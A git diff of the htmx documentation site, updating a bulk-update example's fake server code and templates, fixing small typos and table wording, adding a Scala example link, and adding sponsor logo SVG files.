transition: all 1.2s;
|
||||
}
|
||||
#toast.htmx-settling {
|
||||
opacity: 100;
|
||||
}
|
||||
|
||||
#toast {
|
||||
background: #E1F0DA;
|
||||
opacity: 0;
|
||||
transition: opacity 3s ease-out;
|
||||
}
|
||||
```
|
||||
|
||||
The cool thing is that, because HTML form inputs already manage their own state,
|
||||
we don't need to re-render any part of the users table. The active users are
|
||||
already checked and the inactive ones unchecked!
|
||||
|
||||
You can see a working example of this code below.
|
||||
|
||||
<style scoped="">
|
||||
.htmx-settling tr.deactivate td {
|
||||
background: lightcoral;
|
||||
}
|
||||
.htmx-settling tr.activate td {
|
||||
background: darkseagreen;
|
||||
}
|
||||
tr td {
|
||||
transition: all 1.2s;
|
||||
}
|
||||
#toast.htmx-settling {
|
||||
opacity: 100;
|
||||
}
|
||||
|
||||
#toast {
|
||||
background: #E1F0DA;
|
||||
opacity: 0;
|
||||
transition: opacity 3s ease-out;
|
||||
}
|
||||
</style>
|
||||
|
||||
{{ demoenv() }}
|
||||
@ -73,91 +72,118 @@ You can see a working example of this code below.
|
||||
// Fake Server Side Code
|
||||
//=========================================================================
|
||||
|
||||
// data
|
||||
var dataStore = function(){
|
||||
var data = [
|
||||
{ name: "Joe Smith", email: "joe@smith.org", status: "Active" },
|
||||
{ name: "Angie MacDowell", email: "angie@macdowell.org", status: "Active" },
|
||||
{ name: "Fuqua Tarkenton", email: "fuqua@tarkenton.org", status: "Active" },
|
||||
{ name: "Kim Yee", email: "kim@yee.org", status: "Inactive" }
|
||||
];
|
||||
return {
|
||||
findContactById : function(id) {
|
||||
return data[id];
|
||||
},
|
||||
allContacts : function() {
|
||||
return data;
|
||||
}
|
||||
}
|
||||
}()
|
||||
const dataStore = (() => {
|
||||
const data = {
|
||||
"joe@smith.org": {name: 'Joe Smith', status: 'Active'},
|
||||
"angie@macdowell.org": {name: 'Angie MacDowell', status: 'Active'},
|
||||
"fuqua@tarkenton.org": {name: 'Fuqua Tarkenton', status: 'Active'},
|
||||
"kim@yee.org": {name: 'Kim Yee', status: 'Inactive'},
|
||||
};
|
||||
|
||||
function getIds(params) {
|
||||
if(params['ids']) {
|
||||
if(Array.isArray(params['ids'])) {
|
||||
return params['ids'].map(x => parseInt(x))
|
||||
} else {
|
||||
return [parseInt(params['ids'])];
|
||||
}
|
||||
} else {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
return {
|
||||
all() {
|
||||
return data;
|
||||
},
|
||||
|
||||
activate(email) {
|
||||
if (data[email].status === 'Active') {
|
||||
return 0;
|
||||
} else {
|
||||
data[email].status = 'Active';
|
||||
return 1;
|
||||
}
|
||||
},
|
||||
|
||||
deactivate(email) {
|
||||
if (data[email].status === 'Inactive') {
|
||||
return 0;
|
||||
} else {
|
||||
data[email].status = 'Inactive';
|
||||
return 1;
|
||||
}
|
||||
},
|
||||
};
|
||||
})();
|
||||
|
||||
// routes
|
||||
init("/demo", function(request){
|
||||
return displayUI(dataStore.allContacts());
|
||||
return displayUI(dataStore.all());
|
||||
});
|
||||
|
||||
onPut("/activate", function(request, params){
|
||||
var ids = getIds(params);
|
||||
for (var i = 0; i < ids.length; i++) {
|
||||
dataStore.findContactById(ids[i])['status'] = 'Active';
|
||||
}
|
||||
return displayTable(ids, dataStore.allContacts(), 'activate');
|
||||
});
|
||||
/*
|
||||
Params look like:
|
||||
{"active:joe@smith.org":"on","active:angie@macdowell.org":"on","active:fuqua@tarkenton.org":"on"}
|
||||
*/
|
||||
onPost("/users", function (req, params) {
|
||||
const actives = {};
|
||||
let activated = 0;
|
||||
let deactivated = 0;
|
||||
|
||||
onPut("/deactivate", function (req, params) {
|
||||
var ids = getIds(params);
|
||||
for (var i = 0; i < ids.length; i++) {
|
||||
dataStore.findContactById(ids[i])['status'] = 'Inactive';
|
||||
// Build a set of active users for efficient lookup
|
||||
for (const param of Object.keys(params)) {
|
||||
const nameEmail = param.split(':');
|
||||
if (nameEmail[0] === 'active') {
|
||||
actives[nameEmail[1]] = true;
|
||||
}
|
||||
return displayTable(ids, dataStore.allContacts(), 'deactivate');
|
||||
}
|
||||
|
||||
// Activate or deactivate users based on the lookup
|
||||
for (const email of Object.keys(dataStore.all())) {
|
||||
if (actives[email]) {
|
||||
activated += dataStore.activate(email);
|
||||
} else {
|
||||
deactivated += dataStore.deactivate(email);
|
||||
}
|
||||
}
|
||||
|
||||
return `<span id="toast" aria-live="polite">Activated ${activated} and deactivated ${deactivated} users</span>`;
|
||||
});
|
||||
|
||||
// templates
|
||||
function displayUI(contacts) {
|
||||
return `<h3>Select Rows And Activate Or Deactivate Below</h3>
|
||||
<form id="checked-contacts">
|
||||
<form
|
||||
id="checked-contacts"
|
||||
hx-post="/users"
|
||||
hx-swap="outerHTML settle:3s"
|
||||
hx-target="#toast"
|
||||
>
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th></th>
|
||||
<th>Name</th>
|
||||
<th>Email</th>
|
||||
<th>Status</th>
|
||||
<th>Active</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="tbody">
|
||||
${displayTable([], contacts, "")}
|
||||
${displayTable(contacts)}
|
||||
</tbody>
|
||||
</table>
|
||||
<input type="submit" value="Bulk Update">
|
||||
<span id="toast"></span>
|
||||
</form>
|
||||
<br/>
|
||||
<br/>
|
||||
<div hx-include="#checked-contacts" hx-target="#tbody">
|
||||
<button class="btn" hx-put="/activate">Activate</button>
|
||||
<button class="btn" hx-put="/deactivate">Deactivate</button>
|
||||
</div>`
|
||||
<br>`;
|
||||
}
|
||||
|
||||
function displayTable(ids, contacts, action) {
|
||||
function displayTable(contacts) {
|
||||
var txt = "";
|
||||
for (var i = 0; i < contacts.length; i++) {
|
||||
var c = contacts[i];
|
||||
txt += `\n<tr class="${ids.includes(i) ? action : ""}">
|
||||
<td><input type='checkbox' name='ids' value='${i}'></td><td>${c.name}</td><td>${c.email}</td><td>${c.status}</td>
|
||||
</tr>`
|
||||
|
||||
for (email of Object.keys(contacts)) {
|
||||
txt += `
|
||||
<tr>
|
||||
<td>${contacts[email].name}</td>
|
||||
<td>${email}</td>
|
||||
<td>
|
||||
<input
|
||||
type="checkbox"
|
||||
name="active:${email}"
|
||||
${contacts[email].status === 'Active' ? 'checked' : ''}>
|
||||
</td>
|
||||
</tr>
|
||||
`;
|
||||
}
|
||||
|
||||
return txt;
|
||||
}
|
||||
</script>
|
||||
|
@ -42,8 +42,8 @@ Here is the HTML for a row:
|
||||
.then((result) => {
|
||||
if(result.isConfirmed) {
|
||||
htmx.trigger(editing, 'cancel')
|
||||
htmx.trigger(this, 'edit')
|
||||
}
|
||||
htmx.trigger(this, 'edit')
|
||||
})
|
||||
} else {
|
||||
htmx.trigger(this, 'edit')
|
||||
@ -169,8 +169,8 @@ this makes things a bit nicer to deal with.
|
||||
.then((result) => {
|
||||
if(result.isConfirmed) {
|
||||
htmx.trigger(editing, 'cancel')
|
||||
htmx.trigger(this, 'edit')
|
||||
}
|
||||
htmx.trigger(this, 'edit')
|
||||
})
|
||||
} else {
|
||||
htmx.trigger(this, 'edit')
|
||||
|
@ -25,6 +25,7 @@ Here is the code:
|
||||
<option value="a1">A1</option>
|
||||
...
|
||||
</select>
|
||||
<img class="htmx-indicator" width="20" src="/img/bars.svg">
|
||||
</div>
|
||||
```
|
||||
|
||||
|
@ -12,7 +12,7 @@ I'm happy to announce the [1.9.6 release](https://unpkg.com/browse/htmx.org@1.9.
|
||||
### New Features
|
||||
|
||||
* IE support has been restored (thank you @telroshan!)
|
||||
* Introduced the `hx-disabled-elt` attribute to allow specifing elements to disable during a request
|
||||
* Introduced the `hx-disabled-elt` attribute to allow specifying elements to disable during a request
|
||||
* You can now explicitly decide to ignore `title` tags found in new content via the `ignoreTitle` option in `hx-swap` and the `htmx.config.ignoreTitle` configuration variable.
|
||||
* `hx-swap` modifiers may be used without explicitly specifying the swap mechanism
|
||||
* Arrays are now supported in the `client-side-templates` extension
|
||||
|
@ -16,35 +16,35 @@ title = "Reference"
|
||||
|
||||
## Core Attribute Reference {#attributes}
|
||||
|
||||
The following are the most common attributes when using htmx.
|
||||
The most common attributes when using htmx.
|
||||
|
||||
<div class="info-table">
|
||||
|
||||
| Attribute | Description |
|
||||
|--------------------------------------------------|--------------------------------------------------------------------------------------------------------------------|
|
||||
| [`hx-boost`](@/attributes/hx-boost.md) | add or remove [progressive enhancement](https://en.wikipedia.org/wiki/Progressive_enhancement) for links and forms |
|
||||
| [`hx-get`](@/attributes/hx-get.md) | issues a `GET` to the specified URL |
|
||||
| [`hx-post`](@/attributes/hx-post.md) | issues a `POST` to the specified URL |
|
||||
| [`hx-on*`](@/attributes/hx-on.md) | handle events with a inline scripts on elements |
|
||||
| [`hx-push-url`](@/attributes/hx-push-url.md) | pushes the URL into the browser location bar, creating a new history entry |
|
||||
| [`hx-on*`](@/attributes/hx-on.md) | handle events with inline scripts on elements |
|
||||
| [`hx-push-url`](@/attributes/hx-push-url.md) | push a URL into the browser location bar to create history |
|
||||
| [`hx-select`](@/attributes/hx-select.md) | select content to swap in from a response |
|
||||
| [`hx-select-oob`](@/attributes/hx-select-oob.md) | select content to swap in from a response, out of band (somewhere other than the target) |
|
||||
| [`hx-swap`](@/attributes/hx-swap.md) | controls how content is swapped in (`outerHTML`, `beforeend`, `afterend`, ...) |
|
||||
| [`hx-swap-oob`](@/attributes/hx-swap-oob.md) | marks content in a response to be out of band (should swap in somewhere other than the target) |
|
||||
| [`hx-select-oob`](@/attributes/hx-select-oob.md) | select content to swap in from a response, somewhere other than the target (out of band) |
|
||||
| [`hx-swap`](@/attributes/hx-swap.md) | controls how content will swap in (`outerHTML`, `beforeend`, `afterend`, ...) |
|
||||
| [`hx-swap-oob`](@/attributes/hx-swap-oob.md) | mark element to swap in from a response (out of band) |
|
||||
| [`hx-target`](@/attributes/hx-target.md) | specifies the target element to be swapped |
|
||||
| [`hx-trigger`](@/attributes/hx-trigger.md) | specifies the event that triggers the request |
|
||||
| [`hx-vals`](@/attributes/hx-vals.md) | adds values to the parameters to submit with the request (JSON-formatted) |
|
||||
| [`hx-vals`](@/attributes/hx-vals.md) | add values to submit with the request (JSON format) |
|
||||
|
||||
</div>
|
||||
|
||||
## Additional Attribute Reference {#attributes-additional}
|
||||
|
||||
The table below lists all other attributes available in htmx.
|
||||
All other attributes available in htmx.
|
||||
|
||||
<div class="info-table">
|
||||
|
||||
| Attribute | Description |
|
||||
|------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| [`hx-boost`](@/attributes/hx-boost.md) | add [progressive enhancement](https://en.wikipedia.org/wiki/Progressive_enhancement) for links and forms |
|
||||
| [`hx-confirm`](@/attributes/hx-confirm.md) | shows a `confirm()` dialog before issuing a request |
|
||||
| [`hx-delete`](@/attributes/hx-delete.md) | issues a `DELETE` to the specified URL |
|
||||
| [`hx-disable`](@/attributes/hx-disable.md) | disables htmx processing for the given node and any children nodes |
|
||||
|
@ -114,6 +114,11 @@ These examples may make it a bit easier to get started using htmx with your plat
|
||||
- <https://github.com/libsyz/htmx-to-do-app>
|
||||
- <https://github.com/beechnut/pokebutt-htmx>
|
||||
|
||||
## Scala
|
||||
|
||||
### http4s
|
||||
- <https://github.com/martinprobson/http4s-htmx-demo>
|
||||
|
||||
## Kotlin
|
||||
|
||||
### Ktor
|
||||
|
BIN
www/static/img/bss-logo.png
Normal file
BIN
www/static/img/bss-logo.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 35 KiB |
21
www/static/img/codacy.svg
Normal file
21
www/static/img/codacy.svg
Normal file
@ -0,0 +1,21 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" width="447.34" height="184.98" viewBox="0 0 447.34 184.98">
|
||||
<g>
|
||||
<path d="m42.53,82.36c2.74-10.15,9.4-18.81,18.51-24.07l-8.52-14.72c-13.01,7.51-22.5,19.88-26.41,34.38l16.43,4.4Z" style="fill: #1a1a1a;"/>
|
||||
<path d="m70.61,54.32c3.34-.89,6.79-1.34,10.25-1.34v-16.99c-4.95,0-9.87.63-14.65,1.9l4.4,16.43Z" style="fill: #1a1a1a;"/>
|
||||
<path d="m91.19,54.34c10.14,2.75,18.78,9.4,24.03,18.51l14.73-8.5c-7.51-13-19.87-22.5-34.36-26.41l-4.4,16.41Z" style="fill: #1a1a1a;"/>
|
||||
<path d="m24.18,92.64c0,4.94.64,9.87,1.91,14.64l16.43-4.39c-.9-3.34-1.35-6.79-1.34-10.25h-17Z" style="fill: #1a1a1a;"/>
|
||||
<path d="m31.76,120.98c2.47,4.27,5.49,8.21,8.99,11.7l12.07-12c-2.45-2.45-4.57-5.21-6.31-8.2l-14.75,8.5Z" style="fill: #1a1a1a;"/>
|
||||
<path d="m52.51,141.7c8.6,4.98,18.36,7.6,28.3,7.58v-16.99c-6.95,0-13.78-1.83-19.79-5.31l-8.5,14.72Z" style="fill: #1a1a1a;"/>
|
||||
<path d="m115.21,112.51c-5.27,9.08-13.93,15.71-24.07,18.43l4.4,16.43c14.5-3.9,26.86-13.38,34.4-26.36l-14.72-8.5Z" style="fill: #1a1a1a;"/>
|
||||
<path d="m136.3,107.25c2.62-9.61,2.66-19.75.13-29.38l-16.48,4.4c1.77,6.75,1.73,13.84-.11,20.57l16.46,4.41Z" style="fill: #1a1a1a;"/>
|
||||
</g>
|
||||
<g>
|
||||
<path d="m203.57,86.51c-2-5.07-6.38-8.07-11.2-8.07-7.38,0-12.39,6.32-12.39,13.52s5.13,13.77,12.45,13.77c4.69,0,8.7-2.63,11.14-7.82h12.39c-2.88,11.14-12.45,18.21-23.41,18.21-6.45,0-12.52-2.25-17.27-6.95-5.01-4.88-7.13-10.76-7.13-17.77,0-12.27,10.58-23.34,23.85-23.34,6.38,0,11.52,1.75,16.15,5.7,4.38,3.76,7.01,8.01,7.82,12.77h-12.39Z" style="fill: #1a1a1a;"/>
|
||||
<path d="m238.75,116.3c-10.58,0-18.71-7.82-18.71-18.46s8.32-18.46,18.71-18.46,18.71,7.82,18.71,18.34-8.26,18.59-18.71,18.59Zm8.32-18.46c0-4.63-3.5-8.76-8.39-8.76-4.57,0-8.26,4.01-8.26,8.76s3.63,8.76,8.32,8.76,8.32-4.13,8.32-8.76Z" style="fill: #1a1a1a;"/>
|
||||
<path d="m289.64,115.23v-3.76h-.12c-1.94,3.19-5.45,4.88-10.39,4.88-10.51,0-17.4-8.07-17.4-18.59s7.07-18.46,17.21-18.46c4.01,0,7.26,1.19,10.2,4.13v-14.52h10.39v46.31h-9.89Zm.06-17.52c0-4.82-3.69-8.7-8.83-8.7s-8.76,3.63-8.76,8.7,3.69,8.95,8.7,8.95,8.89-3.82,8.89-8.95Z" style="fill: #1a1a1a;"/>
|
||||
<path d="m333.14,115.23v-3.76h-.12c-1.5,3.07-5.63,4.94-10.2,4.94-10.26,0-17.4-8.07-17.4-18.59s7.45-18.52,17.4-18.52c4.26,0,8.2,1.69,10.2,4.88h.12v-3.69h10.39v34.73h-10.39Zm0-17.4c0-4.88-3.94-8.82-8.82-8.82s-8.51,3.94-8.51,8.95,3.82,8.76,8.63,8.76,8.7-3.88,8.7-8.89Z" style="fill: #1a1a1a;"/>
|
||||
<path d="m375.64,93.89c-1.5-3.25-4.2-4.88-7.76-4.88-4.76,0-8.01,3.94-8.01,8.82s3.44,8.82,8.26,8.82c3.5,0,5.94-1.63,7.51-4.63h10.57c-2.06,8.7-9.51,14.33-18.4,14.33-10.26,0-18.4-8.32-18.4-18.59s8.2-18.46,18.21-18.46c9.14,0,16.58,5.76,18.52,14.58h-10.51Z" style="fill: #1a1a1a;"/>
|
||||
<path d="m394.36,126.81l5.51-13.33-12.89-32.98h11.08l6.95,20.15h.12l6.64-20.15h11.01l-17.4,46.31h-11.01Z" style="fill: #1a1a1a;"/>
|
||||
</g>
|
||||
</svg>
|
After Width: | Height: | Size: 2.8 KiB |
22
www/static/img/codereviewbot.svg
Normal file
22
www/static/img/codereviewbot.svg
Normal file
@ -0,0 +1,22 @@
|
||||
<svg width="501" height="55" viewBox="0 0 501 55" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M120.064 44.576C117.472 44.576 115.056 44.16 112.816 43.328C110.608 42.464 108.688 41.248 107.056 39.68C105.424 38.112 104.144 36.272 103.216 34.16C102.32 32.048 101.872 29.728 101.872 27.2C101.872 24.672 102.32 22.352 103.216 20.24C104.144 18.128 105.424 16.288 107.056 14.72C108.72 13.152 110.656 11.952 112.864 11.12C115.072 10.256 117.488 9.824 120.112 9.824C123.024 9.824 125.648 10.336 127.984 11.36C130.352 12.352 132.336 13.824 133.936 15.776L128.944 20.384C127.792 19.072 126.512 18.096 125.104 17.456C123.696 16.784 122.16 16.448 120.496 16.448C118.928 16.448 117.488 16.704 116.176 17.216C114.864 17.728 113.728 18.464 112.768 19.424C111.808 20.384 111.056 21.52 110.512 22.832C110 24.144 109.744 25.6 109.744 27.2C109.744 28.8 110 30.256 110.512 31.568C111.056 32.88 111.808 34.016 112.768 34.976C113.728 35.936 114.864 36.672 116.176 37.184C117.488 37.696 118.928 37.952 120.496 37.952C122.16 37.952 123.696 37.632 125.104 36.992C126.512 36.32 127.792 35.312 128.944 33.968L133.936 38.576C132.336 40.528 130.352 42.016 127.984 43.04C125.648 44.064 123.008 44.576 120.064 44.576Z" fill="black"/>
|
||||
<path d="M150.056 44.384C147.304 44.384 144.856 43.808 142.712 42.656C140.6 41.504 138.92 39.936 137.672 37.952C136.456 35.936 135.848 33.648 135.848 31.088C135.848 28.496 136.456 26.208 137.672 24.224C138.92 22.208 140.6 20.64 142.712 19.52C144.856 18.368 147.304 17.792 150.056 17.792C152.776 17.792 155.208 18.368 157.352 19.52C159.496 20.64 161.176 22.192 162.392 24.176C163.608 26.16 164.216 28.464 164.216 31.088C164.216 33.648 163.608 35.936 162.392 37.952C161.176 39.936 159.496 41.504 157.352 42.656C155.208 43.808 152.776 44.384 150.056 44.384ZM150.056 38.24C151.304 38.24 152.424 37.952 153.416 37.376C154.408 36.8 155.192 35.984 155.768 34.928C156.344 33.84 156.632 32.56 156.632 31.088C156.632 29.584 156.344 28.304 155.768 27.248C155.192 26.192 154.408 25.376 153.416 24.8C152.424 24.224 151.304 23.936 150.056 23.936C148.808 23.936 147.688 24.224 146.696 24.8C145.704 25.376 144.904 26.192 144.296 27.248C143.72 28.304 143.432 29.584 143.432 31.088C143.432 32.56 143.72 33.84 144.296 34.928C144.904 35.984 145.704 36.8 146.696 37.376C147.688 37.952 148.808 38.24 150.056 38.24Z" fill="black"/>
|
||||
<path d="M180.31 44.384C177.878 44.384 175.686 43.84 173.734 42.752C171.782 41.632 170.23 40.08 169.078 38.096C167.958 36.112 167.398 33.776 167.398 31.088C167.398 28.368 167.958 26.016 169.078 24.032C170.23 22.048 171.782 20.512 173.734 19.424C175.686 18.336 177.878 17.792 180.31 17.792C182.486 17.792 184.39 18.272 186.022 19.232C187.654 20.192 188.918 21.648 189.814 23.6C190.71 25.552 191.158 28.048 191.158 31.088C191.158 34.096 190.726 36.592 189.862 38.576C188.998 40.528 187.75 41.984 186.118 42.944C184.518 43.904 182.582 44.384 180.31 44.384ZM181.606 38.24C182.822 38.24 183.926 37.952 184.918 37.376C185.91 36.8 186.694 35.984 187.27 34.928C187.878 33.84 188.182 32.56 188.182 31.088C188.182 29.584 187.878 28.304 187.27 27.248C186.694 26.192 185.91 25.376 184.918 24.8C183.926 24.224 182.822 23.936 181.606 23.936C180.358 23.936 179.238 24.224 178.246 24.8C177.254 25.376 176.454 26.192 175.846 27.248C175.27 28.304 174.982 29.584 174.982 31.088C174.982 32.56 175.27 33.84 175.846 34.928C176.454 35.984 177.254 36.8 178.246 37.376C179.238 37.952 180.358 38.24 181.606 38.24ZM188.374 44V38.72L188.518 31.04L188.038 23.408V8.384H195.526V44H188.374Z" fill="black"/>
|
||||
<path d="M215.272 44.384C212.328 44.384 209.736 43.808 207.496 42.656C205.288 41.504 203.576 39.936 202.36 37.952C201.144 35.936 200.536 33.648 200.536 31.088C200.536 28.496 201.128 26.208 202.312 24.224C203.528 22.208 205.176 20.64 207.256 19.52C209.336 18.368 211.688 17.792 214.312 17.792C216.84 17.792 219.112 18.336 221.128 19.424C223.176 20.48 224.792 22.016 225.976 24.032C227.16 26.016 227.752 28.4 227.752 31.184C227.752 31.472 227.736 31.808 227.704 32.192C227.672 32.544 227.64 32.88 227.608 33.2H206.632V28.832H223.672L220.792 30.128C220.792 28.784 220.52 27.616 219.976 26.624C219.432 25.632 218.68 24.864 217.72 24.32C216.76 23.744 215.64 23.456 214.36 23.456C213.08 23.456 211.944 23.744 210.952 24.32C209.992 24.864 209.24 25.648 208.696 26.672C208.152 27.664 207.88 28.848 207.88 30.224V31.376C207.88 32.784 208.184 34.032 208.792 35.12C209.432 36.176 210.312 36.992 211.432 37.568C212.584 38.112 213.928 38.384 215.464 38.384C216.84 38.384 218.04 38.176 219.064 37.76C220.12 37.344 221.08 36.72 221.944 35.888L225.928 40.208C224.744 41.552 223.256 42.592 221.464 43.328C219.672 44.032 217.608 44.384 215.272 44.384Z" fill="black"/>
|
||||
<path d="M233.265 44V10.4H247.809C250.817 10.4 253.409 10.896 255.585 11.888C257.761 12.848 259.441 14.24 260.625 16.064C261.809 17.888 262.401 20.064 262.401 22.592C262.401 25.088 261.809 27.248 260.625 29.072C259.441 30.864 257.761 32.24 255.585 33.2C253.409 34.16 250.817 34.64 247.809 34.64H237.585L241.041 31.232V44H233.265ZM254.625 44L246.225 31.808H254.529L263.025 44H254.625ZM241.041 32.096L237.585 28.448H247.377C249.777 28.448 251.569 27.936 252.753 26.912C253.937 25.856 254.529 24.416 254.529 22.592C254.529 20.736 253.937 19.296 252.753 18.272C251.569 17.248 249.777 16.736 247.377 16.736H237.585L241.041 13.04V32.096Z" fill="black"/>
|
||||
<path d="M280.85 44.384C277.906 44.384 275.314 43.808 273.074 42.656C270.866 41.504 269.154 39.936 267.938 37.952C266.722 35.936 266.114 33.648 266.114 31.088C266.114 28.496 266.706 26.208 267.89 24.224C269.106 22.208 270.754 20.64 272.834 19.52C274.914 18.368 277.266 17.792 279.89 17.792C282.418 17.792 284.69 18.336 286.706 19.424C288.754 20.48 290.37 22.016 291.554 24.032C292.738 26.016 293.33 28.4 293.33 31.184C293.33 31.472 293.314 31.808 293.282 32.192C293.25 32.544 293.218 32.88 293.186 33.2H272.21V28.832H289.25L286.37 30.128C286.37 28.784 286.098 27.616 285.554 26.624C285.01 25.632 284.258 24.864 283.298 24.32C282.338 23.744 281.218 23.456 279.938 23.456C278.658 23.456 277.522 23.744 276.53 24.32C275.57 24.864 274.818 25.648 274.274 26.672C273.73 27.664 273.458 28.848 273.458 30.224V31.376C273.458 32.784 273.762 34.032 274.37 35.12C275.01 36.176 275.89 36.992 277.01 37.568C278.162 38.112 279.506 38.384 281.042 38.384C282.418 38.384 283.618 38.176 284.642 37.76C285.698 37.344 286.658 36.72 287.522 35.888L291.506 40.208C290.322 41.552 288.834 42.592 287.042 43.328C285.25 44.032 283.186 44.384 280.85 44.384Z" fill="black"/>
|
||||
<path d="M304.855 44L294.007 18.176H301.735L310.759 40.4H306.919L316.279 18.176H323.479L312.583 44H304.855Z" fill="black"/>
|
||||
<path d="M326.534 44V18.176H334.022V44H326.534ZM330.278 14.576C328.902 14.576 327.782 14.176 326.918 13.376C326.054 12.576 325.622 11.584 325.622 10.4C325.622 9.216 326.054 8.224 326.918 7.424C327.782 6.624 328.902 6.224 330.278 6.224C331.654 6.224 332.774 6.608 333.638 7.376C334.502 8.112 334.934 9.072 334.934 10.256C334.934 11.504 334.502 12.544 333.638 13.376C332.806 14.176 331.686 14.576 330.278 14.576Z" fill="black"/>
|
||||
<path d="M353.788 44.384C350.844 44.384 348.252 43.808 346.012 42.656C343.804 41.504 342.092 39.936 340.876 37.952C339.66 35.936 339.052 33.648 339.052 31.088C339.052 28.496 339.644 26.208 340.828 24.224C342.044 22.208 343.692 20.64 345.772 19.52C347.852 18.368 350.204 17.792 352.828 17.792C355.356 17.792 357.628 18.336 359.644 19.424C361.692 20.48 363.308 22.016 364.492 24.032C365.676 26.016 366.268 28.4 366.268 31.184C366.268 31.472 366.252 31.808 366.22 32.192C366.188 32.544 366.156 32.88 366.124 33.2H345.148V28.832H362.188L359.308 30.128C359.308 28.784 359.036 27.616 358.492 26.624C357.948 25.632 357.196 24.864 356.236 24.32C355.276 23.744 354.156 23.456 352.876 23.456C351.596 23.456 350.46 23.744 349.468 24.32C348.508 24.864 347.756 25.648 347.212 26.672C346.668 27.664 346.396 28.848 346.396 30.224V31.376C346.396 32.784 346.7 34.032 347.308 35.12C347.948 36.176 348.828 36.992 349.948 37.568C351.1 38.112 352.444 38.384 353.98 38.384C355.356 38.384 356.556 38.176 357.58 37.76C358.636 37.344 359.596 36.72 360.46 35.888L364.444 40.208C363.26 41.552 361.772 42.592 359.98 43.328C358.188 44.032 356.124 44.384 353.788 44.384Z" fill="black"/>
|
||||
<path d="M376.688 44L367.376 18.176H374.432L382.16 40.4H378.8L386.864 18.176H393.2L401.024 40.4H397.664L405.632 18.176H412.256L402.896 44H395.648L388.784 24.944H390.992L383.888 44H376.688Z" fill="black"/>
|
||||
<path d="M416.265 44V10.4H432.681C436.905 10.4 440.073 11.2 442.185 12.8C444.329 14.4 445.401 16.512 445.401 19.136C445.401 20.896 444.969 22.432 444.105 23.744C443.241 25.024 442.057 26.016 440.553 26.72C439.049 27.424 437.321 27.776 435.369 27.776L436.281 25.808C438.393 25.808 440.265 26.16 441.897 26.864C443.529 27.536 444.793 28.544 445.689 29.888C446.617 31.232 447.081 32.88 447.081 34.832C447.081 37.712 445.945 39.968 443.673 41.6C441.401 43.2 438.057 44 433.641 44H416.265ZM423.993 38.144H433.065C435.081 38.144 436.601 37.824 437.625 37.184C438.681 36.512 439.209 35.456 439.209 34.016C439.209 32.608 438.681 31.568 437.625 30.896C436.601 30.192 435.081 29.84 433.065 29.84H423.417V24.176H431.721C433.609 24.176 435.049 23.856 436.041 23.216C437.065 22.544 437.577 21.536 437.577 20.192C437.577 18.88 437.065 17.904 436.041 17.264C435.049 16.592 433.609 16.256 431.721 16.256H423.993V38.144Z" fill="black"/>
|
||||
<path d="M464.728 44.384C461.976 44.384 459.528 43.808 457.384 42.656C455.272 41.504 453.592 39.936 452.344 37.952C451.128 35.936 450.52 33.648 450.52 31.088C450.52 28.496 451.128 26.208 452.344 24.224C453.592 22.208 455.272 20.64 457.384 19.52C459.528 18.368 461.976 17.792 464.728 17.792C467.448 17.792 469.88 18.368 472.024 19.52C474.168 20.64 475.848 22.192 477.064 24.176C478.28 26.16 478.888 28.464 478.888 31.088C478.888 33.648 478.28 35.936 477.064 37.952C475.848 39.936 474.168 41.504 472.024 42.656C469.88 43.808 467.448 44.384 464.728 44.384ZM464.728 38.24C465.976 38.24 467.096 37.952 468.088 37.376C469.08 36.8 469.864 35.984 470.44 34.928C471.016 33.84 471.304 32.56 471.304 31.088C471.304 29.584 471.016 28.304 470.44 27.248C469.864 26.192 469.08 25.376 468.088 24.8C467.096 24.224 465.976 23.936 464.728 23.936C463.48 23.936 462.36 24.224 461.368 24.8C460.376 25.376 459.576 26.192 458.968 27.248C458.392 28.304 458.104 29.584 458.104 31.088C458.104 32.56 458.392 33.84 458.968 34.928C459.576 35.984 460.376 36.8 461.368 37.376C462.36 37.952 463.48 38.24 464.728 38.24Z" fill="black"/>
|
||||
<path d="M494.454 44.384C491.413 44.384 489.046 43.616 487.35 42.08C485.653 40.512 484.805 38.192 484.805 35.12V12.464H492.294V35.024C492.294 36.112 492.581 36.96 493.157 37.568C493.733 38.144 494.518 38.432 495.51 38.432C496.693 38.432 497.701 38.112 498.533 37.472L500.549 42.752C499.781 43.296 498.854 43.712 497.765 44C496.709 44.256 495.606 44.384 494.454 44.384ZM480.821 24.512V18.752H498.726V24.512H480.821Z" fill="black"/>
|
||||
<path d="M78.7443 35.2008C78.6204 36.7233 78.641 38.2746 78.3449 39.763C77.5155 43.9319 75.2842 47.2473 71.8542 49.766C68.8403 51.9793 65.4377 52.9803 61.727 52.9827C50.0915 52.9902 38.4561 52.9957 26.8207 52.9761C20.1295 52.9648 13.9726 48.8604 11.4776 42.7332C10.541 40.433 10.0396 38.0251 10.2047 35.3704C10.2108 31.1459 10.2121 27.0673 10.2059 22.9887C10.205 22.3818 10.1687 21.775 10.1488 21.1682C10.303 19.2757 10.2829 17.3488 10.6494 15.4981C11.3204 12.1093 13.0851 9.28513 15.6761 6.9733C18.3214 4.6131 21.3805 3.16316 24.8973 2.69138C25.499 2.61067 26.1103 2.56566 26.7172 2.56489C38.3181 2.55029 49.9191 2.51554 61.5198 2.54934C67.6128 2.5671 72.498 5.06683 75.9674 10.0897C78.1166 13.2013 78.862 16.7479 78.7328 20.4951C78.7246 20.7327 78.7313 20.9708 78.7073 21.3349C78.6774 25.9415 78.6708 30.4219 78.6686 34.9024C78.6685 35.0018 78.718 35.1013 78.7443 35.2008Z" fill="#FCFAFA"/>
|
||||
